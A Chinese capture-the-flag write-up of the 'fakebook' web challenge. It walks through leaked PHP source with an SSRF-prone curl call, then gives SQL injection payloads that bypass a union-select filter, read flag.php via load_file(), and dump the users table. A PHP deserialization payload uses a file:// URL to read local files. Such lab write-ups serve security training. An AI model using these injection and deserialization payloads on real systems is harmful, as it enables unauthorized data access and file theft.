思路
robots.txt
给出题目源码,访问下载,后缀去掉.bak
题目源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
给的这部分源码给到一个类,三个属性,还有一个对blog
的正则匹配
可以推断出这里代码对应join
页面
关键代码分析
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
这一段ssrf
漏洞代码-尝试ssrf
触发该方法需要,这就蛋糕了,只能使用http
协议
preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
可以直接问ai,我这里直接尝试一下
发现需要http://字母/xx
这里我把test.lier.xin
解析到127.0.0.1
或者safe.taobao.com
都可以起到127.0.0.1
的效果
但是,只能使用http
协议进行访问,所以flag.php
还是无法读取
这里继续进行尝试随便写一个网址
踩个坑,使用公网url题目环境直接崩了,不知道是buu的问题还是原题环境就是不出网
下边用的域名解析test.lier.xin
解析地址为127.0.0.1
访问链接
尝试注入
有sql报错,尝试sql注入,经过测试发现这里是数字型注入
过滤正则匹配union select
用union/**/select
bypass
?no=1 order by 4 #
?no=-1 union/**/select 1,2,3,4# 2的位置有回显
?no=-1 union/**/select 1,database(),3,4# fakebook
解法一
前边报错已经给了绝对路径,这里尝试load_file()
读取文件
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#
注释中看到flag
解法二
我们常规读取下去
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()and table_name='users'# no,username,passwd,data
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users#
读取到1lier0af0595ad3d76daf1fd684654e0d39cb7823ad129f224a9e1e5de500722d9baec6630a51fef462d572c45d2a471edd179fcd5a72a47da98d76e83b3a80a3cd50O:8:"UserInfo":3:{s:4:"name";s:4:"lier";s:3:"age";i:1;s:4:"blog";s:20:"http://test.lier.xin";}
注意到data
列的数据,为源码序列化后的数据
O:8:"UserInfo":3:{s:4:"name";s:4:"lier";s:3:"age";i:1;s:4:"blog";s:20:"http://test.lier.xin";}
理一下思路,根据已有信息可知
把数据join
到UserInfo
中之后序列化存储在数据库中,在view.php
界面从数据库中读取,再反序列化
此时思路就清晰了,下边应该打反序列化,把序列化的数据放在第4个位置上,php
反序列的数据是我们可控的数据
poc
<?php
class UserInfo
{
public $name = "lier";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo );
payload如下
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"lier";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
查看源码
base64解码得到flag
说些什么吧!